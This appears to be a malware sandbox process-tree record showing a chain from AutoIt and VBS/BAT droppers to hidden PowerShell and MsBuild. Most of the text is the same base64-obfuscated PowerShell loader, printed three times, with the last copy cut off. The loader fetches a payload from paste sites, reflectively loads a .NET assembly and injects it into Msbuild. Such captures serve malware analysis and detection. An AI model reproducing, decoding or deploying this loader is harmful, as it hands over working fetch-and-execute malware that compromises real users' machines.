C:\Users\Admin\AppData\Local\Temp\a\AutoIt3.exeAutoIt3.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe SOSTENER.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQBmAHkALgBhAHAAcAAvAE8ASgBFADAAcABWADIAOAAvAHIAYQB3ACcAKQApADsAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQAgAHsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAf#AD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjAD0AJwBNAHMAYgB1AGkAbABkACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBnACAAPQAgACcAdAB4AHQALgA1ADIAcgBlAG4AZQB0AHMAbwBzAC8AbgBpAGEAbQAvAHcAYQByAC8ALQAvADIAcgBlAHIAbgBlAHMAdABzAG8AcwAvAG0AbwBtAF8AbwBkAHUAcwAvAG0AbwBjAC4AYgBhAGwAdABpAGcALwAvADoAcwBnAHMAZgBmAHMAZgAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADYAKQANAAoAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHIAdQBuAHMAJwAgACsAIAAnAHMAJwApAC4ASQBuAHYAbwBf#AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnACAALAAnADAAJwAsACAAJwAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACcAIAAsACAAJwB4ADgANgAnACkAKQB9AH0A';iex ([system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('f#','r') )));4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tXmCLyGO.exetXmCLyGO.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c SOSTENER.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQBmAHkALgBhAHAAcAAvAE8ASgBFADAAcABWADIAOAAvAHIAYQB3ACcAKQApADsAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQAgAHsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAf#AD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwApADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjAD0AJwBNAHMAYgB1AGkAbABkACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZwBnACAAPQAgACcAdAB4AHQALgA1ADIAcgBlAG4AZQB0AHMAbwBzAC8AbgBpAGEAbQAvAHcAYQByAC8ALQAvADIAcgBlAHIAbgBlAHMAdABzAG8AcwAvAG0AbwBtAF8AbwBkAHUAcwAvAG0AbwBjAC4AYgBhAGwAdABpAGcALwAvADoAcwBnAHMAZgBmAHMAZgAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADYAKQANAAoAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHIAdQBuAHMAJwAgACsAIAAnAHMAJwApAC4ASQBuAHYAbwBf#AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACQAZwBnACAALAAnADAAJwAsACAAJwAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACcAIAAsACAAJwB4ADgANgAnACkAKQB9AH0A'';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdfgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBpAGkANQBQAGYAQwB6ADgAMwBhAFQAYwBEAGcASwAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQBmAHkALgBhAHAAcAAvAE8ASgBFADAAcABWADIAOAAvAHIAYQB3ACcAKQApADsAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAE